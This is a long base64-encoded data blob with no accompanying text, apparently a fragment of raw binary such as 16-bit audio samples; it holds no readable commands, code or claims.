r/+P8HAA8AEwAeACwAMQA1ADcAQwBkAHUAZgBHADAAJAAeABsADwAGAPj/2/++/6v/qf+w/7X/w//X/+n/7f/z/wIAGQAqADMAPQBJAEwAQAAsABcAAwD2/+n/3v/M/7f/nP+P/4v/kP+X/6H/tf/P/+f/+f8GABQAKgA/AEwAUQBVAFIARQA0ACAADAD0/+H/2//P/73/sf+s/6n/rv+4/8T/1//t//7/DAApADkAMwAxADcAOgAzADMALwAiABkA///h/8j/uv+z/6//tP+9/8T/zf/X/+T/7//1////GwA4AEcARQBAADkAIAAKAPn/7P/m/+X/3v/Q/8T/s/+n/6T/sP/F/9z/8P///wcADQARAA8AEQAYABwAFwAOAAMA9v/r/+v/4f/Q/8X/w//H/87/5f/4/wIADQAUABgAHQAqADUAPgBIAEsAQQAwACAACgD4//L/7//v/+3/6v/f/9H/zf/Q/9n/6P/7/xAAIAAsACwALgAgABUAEwAXABkAGgASAAUA9f/i/9P/yP/H/83/1f/a/+H/5f/k/+r/7P/p/+3/+v8FAAoADwAWACEAIAAZAAwAAQABAAQABAACAPv/9P/p/+L/1f/O/83/2//k/+v/7//z//L/7v/0/wAAFAAuADsAPQA3ADAAHwAWAA4ADAAJAAcAAwD+/+7/3v/U/9L/1//i//D///8MABYAHgAqADAAMwA1ADUANAAyACoAGAAIAPj/5//a/87/yv/D/8H/zP/j//P/+/8DAAcAEQAdACYALwA6AEAAPgAsABoAAgDw/+P/1f/N/8j/x/+8/7P/sv+6/8n/2//y/wUAHwAuADMALwAuADIALwAlABsAEQD+/+f/0//A/7L/rv+r/6L/of+s/7P/t//G/9v/8P8FABcAKQAzADcAPAA5ADEAIAALAPz/8P/k/9P/yf+//7j/rf+p/7H/v//X//P/CgAfACgAKwAtADEAOQBCAE0ASQA+ACcAFAD8/+f/2f/X/+H/6v/u//T/8v/x//D/+/8EABcASQBqAHYAZABSADcAFgATAA8AAgD7//3//v/1/+T/0f/R/9T/3v/w//j/AgAKABMAHwAhACEAIQApADAALgAmABoAFwASAAUA8//q/+j/5//q/+X/6f/5//7/+v/9/wUAAwACAAkAFwAbABwAGQAPAAYAAAD///7/CAAMAAoAAgAAAPn/8v/t//P/+f8DAA8AFwAXABQAGgAcABsAHAAaABoAGgAVAA4ABwD9//f/9v/2//b/9v/z//T/+P///wIA+//5//z/+/8AAAQACgATABMAEgAKAAQAAAD4//P/7P/q/+X/3v/c/93/3P/g/+T/5f/l/+n/7v/2//r//v8AAAQAAAD6//P/7P/t/+v/6//r/+7/8v/u/+X/3f/R/8v/1f/i/+f/8v/9/wEABAAMAA4AEwAWABYAFwAZABgACQAAAPr/8P/p/+j/5//l/+n/7f/y//j//v///wAACwATABYAGQAgACQAJQAjABwAFAAOAAsA///4//X/6//p/+n/4//j/+L/5f/t//X//P8BAAgADAALAA8ADwALAAoACwAGAAIAAAADAAAA+f/5//X/+P/9//7/AAACAAEAAQAEAAEAAgACAAgAHwA9AEsASgBKAD8AGgAGAPz/5v/d/93/2//V/9P/1P/f/+f/7f/+/w4AEAAMABgAHQAbABQAEwAYABUADQALAA0ABwAAAP7//v/0/+//+v////v/AAATABcADwAYACkAJgAgAB4AHQAUAAcA/P/t/+T/1//S/9z/1f/a//H/+P/+/wkACwADAPH/+f/5/////P/4/wYABgD2//D/7//i/+P/5v/j/+v/6//i/+H/7v/p/+b//v////X/AgANAAgADAANAAgADQAPAAkACAAAAAAABAABAPn/+v/q/+P/+P/w/+P//f8HAPT///8PAPz/+//8//f//v8NAPX/+v8KAPL/8P/3//L/8f/7/+3/7v/7/+//9P/6//X/AAAHAPj//f8tABMA+P8fABcA+f8SAB8A+/8KABwA5f/0/wwA3P/U/woA+P/O////DwD2/wEACwAFAAsAEAAAAAoAJwAMAP7/EAAUAPj/+f8DAOP/0P/t//j/5P/q/wMA9P/s//T/+v8eADIADwATAC8AGQD7/xIADQAAABUABwDu/wsADADf//j/DwDz/wAAHQACAAgAKQALAAoAMwAQAAIAJQAUAPP/HQAhAAAAAwALAP7/+f/l/+X/HAAFAOz/GwAaAPT/BwASAAAAKwAxAOv/FAA6AND/4/81AOH/vv8iAPv/sv8HAAQAx//7/wUA0v/8/x0A2f/r/xMA+v/u//T//f8CAPH/2v/8//j/2P/z/97/2v8NAPH/vP8IAA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D/CwAhAP7/+P8UAAsA8f8DABsADQABAAsABADv/+//AAAJAAAA+/8BAP7/+P8AAAIA/P/2/wAACQAUAAwA8//0/wIA6v/o/xQADgDc/9f//v/7/9P/4P8HAAYA8P/8/xAADwD+/+r/BwAtABQA8P8RAC8A///0/yMAJgDz//f/HAATAAsACQADAAgABgDz//L/DgD8/9b/5P8JAPn/1f/y/wgA8v/o/wIAEQD5//H///8QAAsA/P/7/wYAAADz/wQAFQD8/9z/6/8AAOf/2P/w/wIA8v/v/w0ADgDy/97/9v8VABIAAgAEAA0AAAD4/xEAIgAJAPL/BAAaAA8AAgAIAAQA8//9/w8ACQD3/+z/7P/2////9P/u//j/+v/r//D/CAAEAOn/7v8PABgADgAJAAwACgAQABMADwAYABAA7f/o/wcABwDx/+v/9v/4//X/8//6//7/+P/w//3/GAAdAAYAAgATABAABQALABkADQD9/wIADAAHAP//+P8AAAsABQAAAAYABwD4//D/AQAPAAAA9/8FAAwA///4/wEABAAAAP//AgANAAsA/P/8/w4ACwD7/wIAEwAHAPX/BAAWAAIA8f8HABEA+//2/wAAAwD9////AwALAA0A/P8AABgAEQD7/wMAEgAAAPv/EAAMAPP/8f/1//L/7//2//7//P/z//L/AAAMAP//9P8JABoACQAAAA4ACwDs/+n/BAATAP7/4P/q//7/9f/o//L/AQD4/+X/9f8LAAAA6f/w/wYA/P/w/wIADQD2/+j//P8MAP//7P/1/wAA+v/2////AwD5//D/AAAOAAUA8f/y//7/9//v//3/CwACAPX/9/8FAAoABAD6/wMACwAEAAAAAAD8//j/AQAJAAYA/P/2//r/+//3//H/9v/8//z/+v///wsAAQDw//T/CAAOAAUAAgAEAAcABAD+/wAAAAD8//3/BgAPAAkA///3//f///8BAAEAAgAAAPb/9P8AAAIA/v/7//3/+//+/wAAAwACAPn/+/8DAAYABAAAAAAAAwAFAAAA/v8FAAQA/f/5//v/+v/2//L/+/8CAAAA+P/4//z/+//7/wAACwAIAAAA//8GAAkABAADAAwAEgALAAUADQAMAAQABgANAAsABgAOAAsABgD//wQABgAEAAAA//8CAAQA///0//b//v/+//r/AAADAPL/7P/6/wEA9//4//7/+f/v//H/+//5//H/8v/6/wEAAAD+/wAAAQAAAAMAEwAjABcACgASABoAEAANABMADwAJAAYACQANAAcA+f/6/wIA/v/4////BAD9//r/AwAHAP7/+v/+/wUAAwD8//T/+v/8//b/9/8HAAcA/P/4//7/AAD7//r/AAD///v/AAACAAQAAAAAAAAA/P/7//X/8v/v/+D/1P/R/87/yP/M/9L/1//X/9j/3v/i/+X/7P/3//z///8EAAwAEgAUABgAHgAiACYAKAApACcAJAAgABwAGAARAA8ADQAIAAAA/P/2//f/7f/m/+j/6P/l/+L/4v/l/+T/4//u//T/8v/3//z/+//2//3/BgAJAAoADgALAAcAAAAAAP7/AwAGAAYACgAKAAEA+v/7////+f/6////AAD5//j//P/9/wAAAAAGAA8ADQAJAAsACAABAP//BAAFAAUABQADAAUA/f/8////AQD6//n//f/7//X/+//6//3/+P/0//z/AAAAAPr//P/5//n/9//3//v/+v/y//T/+//4//P/7v/v//T/+f/6//v//v/7//j/9v/+/wAAAwAHAAoACgAKAAYADwAQAA0ACAANAAkABAAFAAsACwAFAAIABQADAP//+//+//r/+f/+/wIAAAD8//3//P/2//n/+//6//v/+P/4//v//P/5//b/+v/5//7/AQABAAAAAAAAAP7/AQACAAAA//8AAP3//P/+//3/+//8//7////8//f/9P/x//T/8v/5//z/9P/1//b/8f/w//P/+P/8////BQAFAAUAAwADAAQADQANAA8AEwALAA0ACgALAAkABgADAAEAAwACAP7/+P/2//f/9f/z//r/+//+//z//f/8//7/AAADAAYABgD//wEABAAKAAkACwAQAA0ACwAHAAoACgAHAAUABQAAAAAA///+/wIA/f///wIAAQAGAAUAAgAEAP//AgAIAAQABAAIAAYACgAIAAMACgAHAAQAAQADAAUAAAD9/wAA/v/2//P/8v/0//P/+P/9//r//P/9//v/AAAFAP7//f/9////AAAAAAMAAgD+//j/AAACAAIAAgADAAAA/f8AAPz///8AAPb/+//8//r/+//9//z/+//9///////+//z/+v/6//b/8v/4//z/+v/8//v/+v/1//n/AAD///v//P/6//v/9f/3//7//v8AAP///P/7//7////9//3//f8AAP3//f/8//7////9//v//f/9//v//v/8//7/AAAAAAAA/P/7//3//f8BAAAA//8AAP//AQAAAP7/AAAFAAEA/v///wEA/v///wAA/f/8//n//v8AAAEA/v/8//z//f/+/wMABwAEAAQACwAJAAIAAgADAAAAAgADAAEABQAEAAcABgAIAAcABwAJAAcABAACAAEA/f/8/wAA///6//z//P/3//z/+/8AAP3/+f/3//f/+f/4//n//P/6//r/+v8AAAAA/f///wEAAAABAAMAAwACAAMAAwADAAYABQAAAAIAAwAGAAYABQAIAAcABQADAAMAAQACAAQAAQD7//z/9//9//z//P8HAAQAAQAAAP7/AAADAAUABQAMAAgAAwADAAQABQAKAAgABQAEAAIAAwADAAUABAABAAAAAAD+/wAA/v////7/9//3//v/+//4//z//f/8//3///////7//P/9//v//P/9////AAD///3/AAD+//v/+//+/wAA///9/wMAAgAAAAAAAAABAAAA///+//z//v8AAAAA///+//7/AAAAAP//AAD4//n/+f/4//z///8DAAAA/v/8//z//v8AAP3//v/+//r//f8AAPz//v/+//z/+//+/wUAAwACAAUAAgAAAAAAAQAAAAEABgAFAAQAAwADAAcAAgAFAAYABwAKAAoABQADAAEABAAHAAkADAAIAAYABQAEAAIAAwAFAAcAAwAAAP//AAD//wAA//////r/+/8AAAAAAQABAAIAAAAAAAAA/f/7//7//P/7////AAD///v/+v/6//v////9/wAAAAACAAIAAgAAAAMABgABAP7/AAAAAP7///8DAAMABQACAP3//f////3//P/9////AAAAAP3//v///wAA/v/+//v/+f/6//v//f/+//3//v8BAP///P/+/wAA+//8/wAABAD///7//v/9//3//v8AAPn/9v/6////AQD+//7//P/7//r/+//9//7////9//3//P/8//v/+/8GAAgABQACAAEAAQAAAP///v///wAAAAAAAAAA/f/8//3////+/wEAAQAAAP///P///wEAAAAAAAAAAAAAAPv/+////wAA/v/+/wAAAAAFAAgABAAGAAMABAAJAAUABQAIAAcABQADAAMABgAGAAMAAwAEAAUACAAJAAgABwAGAAQAAAD//wAABQAFAAQA/f/9//7/AAACAAAAAAD+//7//v/+//3/+//6//3//v///wAABQAGAAAAAgAAAPz///8AAAIAAAD//////v/+/wAA//8AAP///v/+//z/AAD+//z//v/8//z/AAD+/////v///wAAAAD//wAAAgACAAIAAAADAAUABQAJAAkACAAJAAgACAAHAP7/+v///wAAAQACAAIAAQD///3//v/+//j//P/+////AwD///7/AAD+//7/AAD9//3/+//9/wAAAAACAAEAAQABAAIAAQAAAP7/AAAHAAYAAwABAAAAAAAAAAEAAAAAAP3//P////z//P/6//v/+//8/////v////7////+//3/+v/7//v///////7/+//7//3/AQABAP3//f/9//3///8CAAIAAQD///z//f///wEA/P/6//z//f/7//3/AAD+//3/////////AAAFAAMAAQABAAAAAQAAAAIAAQAAAP7//v/+/wAA//8AAAAAAQAAAAAAAwAAAAAAAAD//wAAAAAAAPz//P/8//T/9//2//j/+v/6//v/+v/6//7//v/+//7///8AAAEAAgACAAEABAAEAAcADQAKAAEAAQAFAAEAAgACAAAAAgAEAAEAAQABAP///v8CAAMA//8AAAMAAwACAAAABQAIAAoACAAIAAkACwAMAA4AEwASAA0ACQAIAAQABQAOAA8ACwACAAAABgAKAAoAAwAAAAEAAQAAAAIABAAAAAAAAgAEAAMAAAAAAAEA/P/6//f/+P/4//n/DgAZAA0A/v///xgAMQAuACgAKgAvAC4AMwBAAD8ALwAnADEANAAiAAkADQAgABkABAD7//T/5P/d/+r/9P/h/8f/zf/j/93/xP/D/9r/5f/Z/8//1f/Z/9L/1P/l/+n/3P/X/+n/9v/v/+L/5v/y/+//6P/i/+b/5f/j/+3/8//q/+L/7P/8//z/8//z//b/+f/2//z/CAAIAP//AAALAA0ABAABAAoAEwAPAAoADQATABIADQATABcAFAARABgAIQAgABkAGwAlACgAIgAiACoALAAoACIAJAAhABwAGAAbABwAEwATABkAGgASAAYACAAYABsAFgAKAAAAAwAOABQAEAADAP7/AAAIAA8ABQD+/wEACwAQAAQA8f/q//b/AQD9/+7/4//j/+X/5P/g/9j/0v/T/9X/z//N/8j/yv/P/8//zP/C/8H/x//Q/9X/0f/M/8r/0P/Z/9//3//b/9n/2v/i/+z/7f/u//T/+P/9//3/+P/6/wEABwALAAcABgAHAAcACQAGAAAAAAAJAA4ACgAHAAgADQAYAB8AGgAQAAwAEAAbABwAFQAbAB0AHQAdAB8AJQApACcAKQAmACAAGQAjADYANAAiABcAHwApACMAGwAZABkAFgAXABgACQD7/wAAEgAWAAQA9P/2/wYACgADAPz/8//0//z/BAAAAPP/8v/+/wgAAwABAAoAEAASABIAFAAVAA0ADwAcABoAEgAWAB4AIQAZAA8AEQAZABgAEAAHAAUABAAGAAMA/v/3/+//8v/2//L/5P/e/+P/6f/m/97/2v/a/9v/3v/g/9f/zP/N/9r/3//Z/8//0P/X/93/3f/P/8b/yf/X/9r/z//J/8v/0//T/9D/0//T/87/zP/T/9n/1f/K/8j/1v/c/9j/1P/W/9r/0f/S/9n/2f/U/9T/2v/h/+D/3v/g/+3/5//h/+T/7f/x//D/9//7//D/6v/y//r/+//5//r/+//5/wMACQAKAAIAAQAKABIADwAKAAoADgARABgAHQAZABMAFAAcACMAJAAdABwAJgAuAC0ALQAvADEALQAtADAAMQAtACkALQAtACkAIwAkACQAIgAdABsAGgAXAA8ADQANABAAFgAUABMADQAFAAYACQAIAAkACgALAAkABgAFAAQAAgABAAEAAwACAAMAAwACAAUAAwABAAIA/v/8//v///8CAP7/+//8/wEA/P/x/+//8v/2//T/8P/y/+//6//t/+z/8v/x/+f/6P/o/+v/6v/q/+3/6f/k/+7/7//q/+r/7f/1//X/7v/o/+z/7f/w//D/6v/n/+X/5v/q/+v/6f/s/+//8P/t/+//7f/t/+z/6P/t/+7/6v/s//D/8P/q/+z/7//u/+7/7v/w/+//7v/w/+//7v/s/+3/7v/v/+//7//y//L/8f/x//H/7v/t/+7/8P/y//P/8v/y//T/8v/2//v//P/8/wAAAwAAAP//AQAHAAoAAgAEAAYACAAGAAUABgAJAAoADAASABIADgAMAAsAEQARABQAFgATAA8AEQASABEAFAAPAA8AEgANAAsACAAIAAsACwAJAAkACAALAAoACAAIAAEAAAAGAAUAAwABAP//AQAAAAEABAACAAAA+//8////AAD+//v//v/6//L/9f/9//z/+v/5//n/+P/u//D/8f/x//P/8v/2//H/8P/2//j/9v/4//f/+P/6//f/9v/x//H/+P/5//r//v/+//b/9f/4//7/AQD//////v/7//7//f/8//z//f8BAAMABQAJAAgABAADAAMAAwACAAUACQAJAAkACQAFAAUABgAEAAQABQAKAAgABwAIAAkACQAHAAgADQAKAAcABAAEAAMABgAGAAUAAAAAAAUAAwABAP7/AAD+//r/+v/2//b/9//4//f/9//3//T/9v/5//H/8v/y//H/8v/x//n/+P/z//H/9P/2//f/9P/0//T/8//x//H/8f/y//T/9f/3//f/9f/y//H/8P/x//X/+P/1//P/8//2//T/9f/4//v/+v/4//f/9//3//j/9f/3//r/9v/1//b/9f/2//n/+P/5//j/+P/6//v//P/9////+//6//z//f/8//7/AAABAAAA//8GAAMAAgADAP3/AQACAP7/AQADAAMAAgAEAAcABgAEAAMABgAGAAMABQAIAAUAAgADAAQABwADAAAAAgAEAAQAAQALAAsABQADAAMABwAFAAUABgAJAAcAAAACAAUABAAAAAUABgAGAAoABgAGAAkACAALAA0ADAAKAAcABgAHAAcABgAHAAcAAwAAAAAAAwABAAAAAgADAPj/+P/6//v/+P/3//v/+//3//H/+P/6//f/9v/v/+7/7//s/+7/8v/y/+3/7v/z//H/7//t//D/8P/s/+r/7//r/+r/7P/r/+7/6//s//X/9//y//H/8v/v/+v/7v/1//T/8v/w//X/9P/x//T/9f/2//L/9f/5//r/+f/4//v//v/6//3/AQAAAP3//f8DAAUABwAFAAYACAADAAQABwALAAkABgAHAAgACAAGAAcABwAGAAYAAAADAAQAAwAGAAUABwAFAAYABgAEAAIAAwAGAAMAAAAAAAMAAAD9////AAAAAPr/+P/+//3/+v/4//z//P/y//X//P/9//f/8//1//f/7v/u//L/9f/0//H/8//4//r/9P/0//b/8v/x//T/8//x//L/8v/1//P/8v/2//n/9f/w//T/+P/3//L/9P/1//b/9f/2//f/+P/3//T/9//6//j/+v8AAPz//f/8//3/BQACAP//AwAEAAcABAAEAAUAAgAFAAYABgAKAAcABwAHAAMAAgADAAQABAADAAIACwAJAAcACgALAAkACAAGAAQABQAEAAAAAAABAP7//v///wIAAgADAAIAAgABAAEACQANAA4ABwAGAAcABwAGAAIAAwAFAAAAAAAAAAIACAAHAAgACQAIAAcABwALAAsACgAOAA0ADQALAAoACgAGAAAAAQADAAQAAgD///z//f8AAAAAAAADAAIAAgAEAAQABAAEAAYACAADAP//AAABAP7//P///wAAAAD+////AgACAAAA/P/5//f/+f/+////+//7//7/+//5//n/+v/7//f/8//z//j/+P/2//b/+P/4//f/9v/4//n/9f/0//r/+//6//3//v////7/AAAFAAkABgAFAAYAAwACAP//AAABAAAAAAABAP////8AAAQACAAKAAwADAALAA4AEQASABAADgAMAAkABwADAAMAAAACAAUACQAIAAgACgAJAAkACgAJAAoADQAQAA4AEQAMAA0ADAAFAAQABAAEAAQAAgABAP7/+P/+/wQACAAKAAoACgAJAAkACAAIAAcADgAKAAkACQAFAAAA+v/6//3/AAABAAEAAQABAPv/+P/2//f//v8AAP////////v/9v/0//b/+P/6//v/+v/6//r/+/8BAAgACgAKAAgABAAAAP3/+v/5//v//P8EAAkADQANAA4AMQBeAHcAewBcAB8A5f+8/7L/vv/J/9X/4P/o/9r/zf/H/83/5P/9/xEAFgAXABMADQANAA8ADgAPABYAGgAPAAMAAAD//wAAAQAWADYATQBTAE4APgAoABsAEwAKAPb/3f+9/6n/mv+N/5H/kf+Q/5X/r//W/xUAVQCJAJUAhQBgAEMAMQAbABMADwAcABwAEwD5/+H/wP+t/6r/qf+s/7D/vv/H/9f/4P/l/+z/CAA/AG8AgwB3AFsAMwAgACEAOgBPAFYAPwAVAOb/vP+q/6z/wf/P/8r/nP9z/1f/ZP+a/w0AvwBFAXQBNwG+ACMA0P/k/z0AjgCnAIEAJwC2/1X/Mf9Z/6//+v8KAMj/Xv8S/xX/aP/M/ykAQwAbANL/m/+O/8P/JwCTAN4A2ACNADQAAwD//yYAdADGAPgA2ACIAC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